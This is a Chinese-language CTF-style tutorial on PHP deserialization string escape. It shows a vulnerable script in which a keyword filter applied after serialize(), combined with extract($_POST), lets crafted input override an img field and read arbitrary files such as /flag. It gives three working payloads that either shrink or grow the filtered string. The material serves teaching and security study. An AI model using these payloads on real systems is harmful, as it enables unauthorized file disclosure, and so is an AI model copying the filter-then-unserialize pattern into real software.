反序列化逃逸

都知道,php 反序列化时,后面的多余的数据会被直接丢弃。

过滤序列化后的字符串时,通过构造的数据会造成反序列化逃逸。

有以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if ($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION["phone"] = '12345678901';

extract($_POST);

$_SESSION['img'] = base64_encode('guest_img.png');

$serialize_info = filter(serialize($_SESSION));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

最终的目的就是控制 img 参数,以达成任意读取文件的目的,可是在 extract POST 的数据后又对img 进行了赋值。注意到 filter 函数对序列化后的数据进行过滤,因此可以进行逃逸。

可以构造以下的 SESSION:

1
2
3
4
5
6
$_POST = array(
$_SESSION = array (
'a' => 'phpphpphpphpphp',
'b' => ';s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}'
)
);

序列化后过滤前后数据如下:

1
2
3
a:3:{s:1:"a";s:15:"phpphpphpphpphp";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:3:{s:1:"a";s:15:"";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
6
Array
(
[a] => ";s:1:"b";s:46:
[b] => test
[img] => L2ZsYWc=
)

这样就成功逃逸。

也可以构造一个数组:

1
2
3
4
5
6
7
8
$_POST = array(
$_SESSION = array (
'nonup' => array (
1 => 'phpphpphpphp',
2 => ';i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}'
)
)
);

序列化后过滤前后数据如下:

1
2
3
a:2:{s:5:"nonup";a:2:{i:1;s:12:"phpphpphpphp";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:2:{s:5:"nonup";a:2:{i:1;s:12:"";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
6
7
8
9
10
Array
(
[nonup] => Array
(
[1] => ";i:2;s:100:
[2] => 111111111111111111111111111111111111111111111111111111111111
)

[img] => L2ZsYWc=
)

也可以成功逃逸。

如果过滤后字符反而变多了,也可以逃逸。假如 filter 函数变成了这样:

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, 'hack', $img);
}

分析一下就会发现,我们只要追加:";s:3:"img";s:8:"L2ZsYWc=";} 就好。它的长度是 28,每次过滤都会多一个字符,因此只需要添加 28 个 php 即可。

1
2
3
4
5
$_POST = array(
$_SESSION = array (
'nonup' => 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}'
)
);

序列化后过滤前后数据如下:

1
2
3
a:2:{s:5:"nonup";s:112:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:2:{s:5:"nonup";s:112:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后,SESSION 数据如下:

1
2
3
4
5
Array
(
[nonup] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack
[img] => L2ZsYWc=
)

也可以成功逃逸。

例题